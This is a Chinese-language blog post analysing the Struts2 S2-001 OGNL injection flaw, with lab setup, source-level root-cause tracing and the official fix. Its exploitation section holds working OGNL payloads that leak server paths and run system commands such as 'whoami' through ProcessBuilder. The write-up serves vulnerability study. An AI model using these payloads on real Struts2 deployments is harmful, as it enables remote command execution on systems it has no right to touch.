S2-001漏洞分析

前言

开始好好学Java,跟着师傅们的文章走一遍

Strust简介

Struts2是流行和成熟的基于MVC设计模式的Web应用程序框架。 Struts2不只是Struts1下一个版本,它是一个完全重写的Struts架构。

工作流程:

漏洞复现

漏洞简介

漏洞详情:
https://cwiki.apache.org/confluence/display/WW/S2-001

由于OGNL表达式的递归执行,造成了命令执行

环境搭建

mac下直接brew install tomcat
catalina run启动tomcat
brew services start tomcat后台启动服务

  • Apache Tomcat/8.5.53
  • IntelliJ IDEA

建好后从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下载struts2的jar包
导入项目所需的包File->Project Structure

然后搭建环境,项目结构如图

src下新建struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="S2-001" extends="struts-default">
        <action name="login" class="com.demo.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

修改web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
    <display-name>S2-001 Example</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
</web-app>

index.jsp

<%--
  Created by IntelliJ IDEA.
  User: twosmi1e
  Date: 2020/11/19
  Time: 2:25 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
  <s:textfield name="username" label="username" />
  <s:textfield name="password" label="password" />
  <s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%--
  Created by IntelliJ IDEA.
  User: twosmi1e
  Date: 2020/11/19
  Time: 3:09 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

在src下新建名为com.demo.action的package
LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

然后点击Build->Build Project
配置好tomcat,
homebrew安装的tomcat home:/usr/local/Cellar/tomcat/9.0.33/libexec

run起来会看到如下画面

漏洞利用

点击submit后 ognl表达式会解析执行 返回2

获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

OGNL表达式

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式。

OGNL三要素

  • 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
  • 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
  • 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;

表达式功能操作清单:

  1. 基本对象树的访问
    对象树的访问就是通过使用点号将对象的引用串联起来进行。
    例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
  1. 对容器变量的访问
    对容器变量的访问,通过#符号加上表达式进行。
    例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  1. 使用操作符号
    OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
  1. 容器、数组、对象
    OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
    同时,OGNL支持对Map的按键值查找:
    例如:#session['mySessionPropKey']
    不仅如此,OGNL还支持容器的构造的表达式:
    例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
    你也可以通过任意类对象的构造函数进行对象新建
    例如:new Java.net.URL("xxxxxx/")
  1. 对静态方法或变量的访问
    要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
  1. 方法调用
    直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
    例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
  1. 投影和选择
    OGNL支持类似数据库中的投影(projection) 和选择(selection)。
    投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
    例如:group.userList.{username}将获得某个group中的所有user的name的列表。
    选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
    ? 选择满足条件的所有元素
    ^ 选择满足条件的第一个元素
    $ 选择满足条件的最后一个元素
    例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

表达式注入总结By mi1k7ea.

漏洞分析

由上图工作流程我们可以看到,当一个 HTTP 请求被 Struts2 处理时,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。

找到默认使用的拦截器栈

在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。其中, params拦截器 会将客户端请求数据设置到 值栈(valueStack) 中,后续 JSP 页面中所有的动态数据都将从值栈中取出。

在经过一系列的拦截器处理后,数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。如下图,在本例中 Action 处理用户登录失败时会返回 error 。

然后到/com/opensymphony/xwork2/DefaultActionInvocation.class:253

继续跟,主要问题在translateVariables这个函数里

/**
  * Converted object from variable translation.
  *
  * @param open
  * @param expression
  * @param stack
  * @param asType
  * @param evaluator
  * @return Converted object from variable translation.
  */
 public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
     // deal with the "pure" expressions first!
     //expression = expression.trim();
     Object result = expression;

     while (true) {
         int start = expression.indexOf(open + "{");
         int length = expression.length();
         int x = start + 2;
         int end;
         char c;
         int count = 1;
         while (start != -1 && x < length && count != 0) {
             c = expression.charAt(x++);
             if (c == '{') {
                 count++;
             } else if (c == '}') {
                 count--;
             }
         }
         end = x - 1;

         if ((start != -1) && (end != -1) && (count == 0)) {
             String var = expression.substring(start + 2, end);

             Object o = stack.findValue(var, asType);
             if (evaluator != null) {
             	o = evaluator.evaluate(o);
             }
             

             String left = expression.substring(0, start);
             String right = expression.substring(end + 1);
             if (o != null) {
                 if (TextUtils.stringSet(left)) {
                     result = left + o;
                 } else {
                     result = o;
                 }

                 if (TextUtils.stringSet(right)) {
                     result = result + right;
                 }

                 expression = left + o + right;
             } else {
                 // the variable doesn't exist, so don't display anything
                 result = left + right;
                 expression = left + right;
             }
         } else {
             break;
         }
     }

     return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
 }

第一次执行的时候 会取出%{username}的值,即%{1+1}
通过if ((start != -1) && (end != -1) && (count == 0))的判断,跳过return

通过Object o = stack.findValue(var, asType);把值赋给o

然后赋值给expression,进行下一次循环

第二次循环会执行我们构造的OGNL表达式
可以看到执行后结果为2

然后再次循环,经过if判断过后return

后面经过处理后返回index.jsp

漏洞成因呢就是在translateVariables函数中递归来验证OGNL表达式,造成了OGNL表达式的执行

漏洞修复

官方修复代码

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
    // deal with the "pure" expressions first!
    //expression = expression.trim();
    Object result = expression;
    int loopCount = 1;
    int pos = 0;
    while (true) {

        int start = expression.indexOf(open + "{", pos);
        if (start == -1) {
            pos = 0;
            loopCount++;
            start = expression.indexOf(open + "{");
        }
        if (loopCount > maxLoopCount) {
            // translateVariables prevent infinite loop / expression recursive evaluation
            break;
        }
        int length = expression.length();
        int x = start + 2;
        int end;
        char c;
        int count = 1;
        while (start != -1 && x < length && count != 0) {
            c = expression.charAt(x++);
            if (c == '{') {
                count++;
            } else if (c == '}') {
                count--;
            }
        }
        end = x - 1;

        if ((start != -1) && (end != -1) && (count == 0)) {
            String var = expression.substring(start + 2, end);

            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }


            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            String middle = null;
            if (o != null) {
                middle = o.toString();
                if (!TextUtils.stringSet(left)) {
                    result = o;
                } else {
                    result = left + middle;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + middle + right;
            } else {
                // the variable doesn't exist, so don't display anything
                result = left + right;
                expression = left + right;
            }
            pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                  (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                  1;
            pos = Math.max(pos, 1);
        } else {
            break;
        }
    }

    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

可以看到增加了对OGNL递归解析次数的判断,默认情况下只会解析第一层

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}

总结

入门找了S2-001跟着师傅们的文章学习了一下,原理还是很简单,就是调试java过程很费时间。
最后弹个计算器收尾吧,(不知道为什么mac上弹/System/Application/Calculator.app没弹成功

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}

参考

https://mochazz.github.io/2020/06/16/Java代码审计之Struts2-001/#漏洞分析
https://xz.aliyun.com/t/2672
https://xz.aliyun.com/t/2044

posted @ 2020-11-22 18:38  twosmi1e  阅读(507)  评论(0编辑  收藏  举报